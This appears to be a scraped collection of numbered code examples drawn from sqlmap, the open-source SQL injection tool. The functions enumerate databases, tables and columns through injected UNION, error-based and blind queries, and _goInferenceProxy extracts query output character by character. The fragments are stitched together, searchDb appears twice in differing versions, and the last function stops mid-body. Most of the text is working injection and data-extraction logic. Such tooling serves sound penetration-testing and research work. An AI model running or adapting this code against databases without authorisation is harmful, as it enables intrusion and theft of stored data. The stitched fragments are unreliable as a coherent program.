                    query = rootQuery.inband.query % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(
                        tbl.upper())
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (
                        conf.db, conf.db, conf.db, conf.db,
                        conf.db, conf.db, conf.db,
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.inband.query % tbl

                value = inject.getValue(query, blind=False)

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(value)
                elif not isNoneValue(value):
                    table = {}
                    columns = {}

                    for columnData in value:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if len(columnData) == 1:
                                    columns[name] = ""
                                else:
                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % conf.db
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.blind.count % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
                        tbl.upper())
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = inject.getValue(query, inband=False, error=False)
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                count = inject.getValue(query,
                                        inband=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    errMsg = "unable to retrieve the number of columns "
                    errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.error(errMsg)

                    continue

                table = {}
                columns = {}

                indexRange = getLimitRange(count)

                for index in indexRange:
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(tbl),
                            unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(
                            tbl.upper())
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query % (
                            conf.db, conf.db, conf.db,
                            conf.db, conf.db, conf.db,
                            unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None

                    query = agent.limitQuery(index, query, field)
                    column = inject.getValue(query, inband=False, error=False)

                    if not isNoneValue(column):
                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                               DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(tbl), column,
                                    unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                 DBMS.DB2):
                                query = rootQuery.blind.query2 % (
                                    unsafeSQLIdentificatorNaming(
                                        tbl.upper()), column)
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (
                                    conf.db, conf.db, conf.db, conf.db, column,
                                    conf.db, conf.db, conf.db,
                                    unsafeSQLIdentificatorNaming(tbl).split(
                                        ".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)

                            colType = inject.getValue(query,
                                                      inband=False,
                                                      error=False)

                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = firebirdTypes.get(colType, colType)

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = table

        if not kb.data.cachedColumns:
            errMsg = "unable to retrieve the columns for any "
            errMsg += "table in database '%s'" % unsafeSQLIdentificatorNaming(
                conf.db)
            logger.error(errMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames,
                                       colTuple=colTuple,
                                       bruteForce=True)

        return kb.data.cachedColumns
Beispiel #25
0
    def searchDb(self):
        foundDbs = []
        rootQuery = queries[Backend.getIdentifiedDbms()].search_db
        dbList = conf.db.split(",")

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            dbCond = rootQuery.inband.condition2
        else:
            dbCond = rootQuery.inband.condition

        dbConsider, dbCondParam = self.likeOrExact("database")

        for db in dbList:
            values = []
            db = safeSQLIdentificatorNaming(db)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                db = db.upper()

            infoMsg = "searching database"
            if dbConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
            logger.info(infoMsg)

            if conf.excludeSysDbs:
                exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg)
            else:
                exclDbsQuery = ""

            dbQuery = "%s%s" % (dbCond, dbCondParam)
            dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.inband.query2
                else:
                    query = rootQuery.inband.query

                query = query % (dbQuery + exclDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    values = arrayizeValue(values)

                    for value in values:
                        value = safeSQLIdentificatorNaming(value)
                        foundDbs.append(value)

            if not values and isInferenceAvailable() and not conf.direct:
                infoMsg = "fetching number of database"
                if dbConsider == "1":
                    infoMsg += "s like"
                infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2
                else:
                    query = rootQuery.blind.count

                query = query % (dbQuery + exclDbsQuery)
                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    warnMsg = "no database"
                    if dbConsider == "1":
                        warnMsg += "s like"
                    warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

                    continue

                indexRange = getLimitRange(count)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2
                    else:
                        query = rootQuery.blind.query

                    query = query % (dbQuery + exclDbsQuery)
                    query = agent.limitQuery(index, query, dbCond)

                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    value = safeSQLIdentificatorNaming(value)
                    foundDbs.append(value)

        conf.dumper.lister("found databases", foundDbs)
Beispiel #26
0
    def searchColumn(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common column existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.col.split(','))
                conf.dumper.dbTableColumns(
                    columnExists(paths.COMMON_COLUMNS, regex))

                message = "do you want to dump entries? [Y/n] "

                if readInput(message, default='Y', boolean=True):
                    self.dumpAll()

                return

        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereDbsQuery = ""
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(',')

        if conf.exclude:
            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblCond = rootQuery.inband.condition3
        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            values = []
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB, DBMS.H2):
                column = column.upper()
                conf.db = conf.db.upper() if conf.db else conf.db
                conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(',')
                whereTblsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
                    for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % (
                    "s" if len(_) > 1 else "", ", ".join(
                        unsafeSQLIdentificatorNaming(tbl) for tbl in _))

            if conf.db == CURRENT_DB:
                conf.db = self.getCurrentDb()

            if conf.db:
                _ = conf.db.split(',')
                whereDbsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in _) + ")"
                infoMsgDb = " in database%s '%s'" % (
                    "s" if len(_) > 1 else "", ", ".join(
                        unsafeSQLIdentificatorNaming(db) for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(
                    " AND %s != '%s'" %
                    (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in self.excludeDbsList)
                msg = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        unsafeSQLIdentificatorNaming(db)
                        for db in self.excludeDbsList))
                logger.info(msg)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if not all((conf.db, conf.tbl)):
                    # Enumerate tables containing the column provided if
                    # either of database(s) or table(s) is not provided
                    query = rootQuery.inband.query
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    values = inject.getValue(query, blind=False, time=False)
                else:
                    # Assume provided databases' tables contain the
                    # column(s) provided
                    values = []

                    for db in conf.db.split(','):
                        for tbl in conf.tbl.split(','):
                            values.append([
                                safeSQLIdentificatorNaming(db),
                                safeSQLIdentificatorNaming(tbl, True)
                            ])

                for db, tbl in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    tbls = tbl.split(',') if not isNoneValue(tbl) else []

                    for tbl in tbls:
                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if db is None or tbl is None:
                            continue

                        conf.db = db
                        conf.tbl = tbl
                        conf.col = column

                        self.getColumns(onlyColNames=True,
                                        colTuple=(colConsider, colCondParam),
                                        bruteForce=False)

                        if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                                db]:
                            if db not in dbs:
                                dbs[db] = {}

                            if tbl not in dbs[db]:
                                dbs[db][tbl] = {}

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

                        kb.data.cachedColumns = {}

            if not values and isInferenceAvailable() and not conf.direct:
                if not conf.db:
                    infoMsg = "fetching number of databases with tables containing column"
                    if colConsider == "1":
                        infoMsg += "s LIKE"
                    infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                    logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

                    query = rootQuery.blind.count
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no databases have tables containing column"
                        if colConsider == "1":
                            warnMsg += "s LIKE"
                        warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
                            column)
                        logger.warn("%s%s" % (warnMsg, infoMsgTbl))

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (colQuery + whereDbsQuery +
                                         whereTblsQuery)
                        query = agent.limitQuery(index, query)

                        db = unArrayizeValue(
                            inject.getValue(query, union=False, error=False))
                        db = safeSQLIdentificatorNaming(db)

                        if db not in dbs:
                            dbs[db] = {}

                        if db not in foundCols[column]:
                            foundCols[column][db] = []
                else:
                    for db in conf.db.split(',') if conf.db else (
                            self.getCurrentDb(), ):
                        db = safeSQLIdentificatorNaming(db)
                        if db not in foundCols[column]:
                            foundCols[column][db] = []

                origDb = conf.db
                origTbl = conf.tbl

                for column, dbData in foundCols.items():
                    colQuery = "%s%s" % (colCond, colCondParam)
                    colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

                    for db in dbData:
                        conf.db = origDb
                        conf.tbl = origTbl

                        infoMsg = "fetching number of tables containing column"
                        if colConsider == "1":
                            infoMsg += "s LIKE"
                        infoMsg += " '%s' in database '%s'" % (
                            unsafeSQLIdentificatorNaming(column),
                            unsafeSQLIdentificatorNaming(db))
                        logger.info(infoMsg)

                        query = rootQuery.blind.count2
                        query = query % unsafeSQLIdentificatorNaming(db)
                        query += " AND %s" % colQuery
                        query += whereTblsQuery

                        count = inject.getValue(
                            query,
                            union=False,
                            error=False,
                            expected=EXPECTED.INT,
                            charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no tables contain column"
                            if colConsider == "1":
                                warnMsg += "s LIKE"
                            warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(
                                column)
                            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                                db)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query2

                            if query.endswith("'%s')"):
                                query = query[:-1] + " AND %s)" % (
                                    colQuery + whereTblsQuery)
                            else:
                                query += " AND %s" % (colQuery +
                                                      whereTblsQuery)

                            query = safeStringFormat(
                                query, unsafeSQLIdentificatorNaming(db))
                            query = agent.limitQuery(index, query)

                            tbl = unArrayizeValue(
                                inject.getValue(query,
                                                union=False,
                                                error=False))
                            kb.hintValue = tbl

                            tbl = safeSQLIdentificatorNaming(tbl, True)

                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True,
                                            colTuple=(colConsider,
                                                      colCondParam),
                                            bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                                    db]:
                                if db not in dbs:
                                    dbs[db] = {}

                                if tbl not in dbs[db]:
                                    dbs[db][tbl] = {}

                                dbs[db][tbl].update(
                                    kb.data.cachedColumns[db][tbl])

                            kb.data.cachedColumns = {}

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

        if dbs:
            conf.dumper.dbColumns(foundCols, colConsider, dbs)
            self.dumpFoundColumn(dbs, foundCols, colConsider)
        else:
            warnMsg = "no databases have tables containing any of the "
            warnMsg += "provided columns"
            logger.warn(warnMsg)
Beispiel #27
0
    def getTables(self):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if conf.db == "CD":
            conf.db = self.getCurrentDb()

        if conf.db:
            dbs = conf.db.split(",")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                query = rootQuery.inband.query % db
                value = inject.getValue(query, blind=False)

                if not isNoneValue(value):
                    kb.data.cachedTables[db] = arrayizeValue(value)

        if not kb.data.cachedTables and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % db
                logger.info(infoMsg)

                query = rootQuery.blind.count % db
                count = inject.getValue(query, inband=False, error=False, charsetType=2)

                if not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % db
                    logger.warn(warnMsg)
                    continue

                tables = []

                for index in xrange(int(count)):
                    query = rootQuery.blind.query % (db, index, db)
                    table = inject.getValue(query, inband=False, error=False)
                    kb.hintValue = table
                    table = safeSQLIdentificatorNaming(table, True)
                    tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the tables "
                    warnMsg += "for database '%s'" % db
                    logger.warn(warnMsg)

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the tables for any database"
            raise sqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        return kb.data.cachedTables
Beispiel #28
0
    def searchDb(self):
        foundDbs = []
        rootQuery = queries[Backend.getIdentifiedDbms()].search_db
        dbList = conf.db.split(',')

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            dbCond = rootQuery.inband.condition2
        else:
            dbCond = rootQuery.inband.condition

        dbConsider, dbCondParam = self.likeOrExact("database")

        for db in dbList:
            values = []
            db = safeSQLIdentificatorNaming(db)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB, DBMS.H2):
                db = db.upper()

            infoMsg = "searching database"
            if dbConsider == "1":
                infoMsg += "s LIKE"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
            logger.info(infoMsg)

            if conf.excludeSysDbs:
                exclDbsQuery = "".join(
                    " AND '%s' != %s" %
                    (unsafeSQLIdentificatorNaming(db), dbCond)
                    for db in self.excludeDbsList)
                infoMsg = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(infoMsg)
            else:
                exclDbsQuery = ""

            dbQuery = "%s%s" % (dbCond, dbCondParam)
            dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if Backend.isDbms(
                        DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.inband.query2
                else:
                    query = rootQuery.inband.query

                query = query % (dbQuery + exclDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    values = arrayizeValue(values)

                    for value in values:
                        value = safeSQLIdentificatorNaming(value)
                        foundDbs.append(value)

            if not values and isInferenceAvailable() and not conf.direct:
                infoMsg = "fetching number of database"
                if dbConsider == "1":
                    infoMsg += "s LIKE"
                infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.isDbms(
                        DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2
                else:
                    query = rootQuery.blind.count

                query = query % (dbQuery + exclDbsQuery)
                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    warnMsg = "no database"
                    if dbConsider == "1":
                        warnMsg += "s LIKE"
                    warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

                    continue

                indexRange = getLimitRange(count)

                for index in indexRange:
                    if Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2
                    else:
                        query = rootQuery.blind.query

                    query = query % (dbQuery + exclDbsQuery)
                    query = agent.limitQuery(index, query, dbCond)

                    value = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))
                    value = safeSQLIdentificatorNaming(value)
                    foundDbs.append(value)

        conf.dumper.lister("found databases", foundDbs)
Beispiel #29
0
def _goInferenceProxy(expression,
                      fromUser=False,
                      batch=False,
                      unpack=True,
                      charsetType=None,
                      firstChar=None,
                      lastChar=None,
                      dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar,
                            lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than one field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
            expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms(
                ) in FROM_DUMMY_TABLE and expression.upper().endswith(
                        FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms(
                )].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields,
                                                       countFirstField, 1)

                if " ORDER BY " in countedExpression.upper():
                    _ = countedExpression.upper().rindex(" ORDER BY ")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload,
                                         countedExpression,
                                         charsetType=CHARSET_TYPE.DIGITS,
                                         firstChar=firstChar,
                                         lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise SqlmapUserQuitException

                            elif test.isdigit(
                            ) and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit, stopLimit):
                            output = _goInferenceFields(
                                expression,
                                expressionFields,
                                expressionFieldsList,
                                payload,
                                num=num,
                                charsetType=charsetType,
                                firstChar=firstChar,
                                lastChar=lastChar,
                                dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
                            startLimit, stopLimit)
                        errMsg += "with switch '--fresh-queries'"
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper(
    ).startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression,
                                 expressionFields,
                                 expressionFieldsList,
                                 payload,
                                 charsetType=charsetType,
                                 firstChar=firstChar,
                                 lastChar=lastChar,
                                 dump=dump)

    return ", ".join(
        output or ""
        for output in outputs) if not isNoneValue(outputs) else None
Beispiel #30
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an UNION SQL injection on the target
    URL then call its subsidiary function to effectively perform an
    UNION SQL injection on the affected URL
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    abortedFlag = False
    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    value = None

    width = getConsoleWidth()
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        origExpr)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if conf.api else None

    if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
        kb.rowXmlMode = True
        _ = "(%s FOR XML RAW, BINARY BASE64)" % expression
        output = _oneShotUnionUse(_, False)
        value = parseUnionPage(output)
        kb.rowXmlMode = False

    if expressionFieldsList and len(
            expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
        expression = re.sub("(?i)\s*ORDER BY\s+[\w,]+", "", expression)
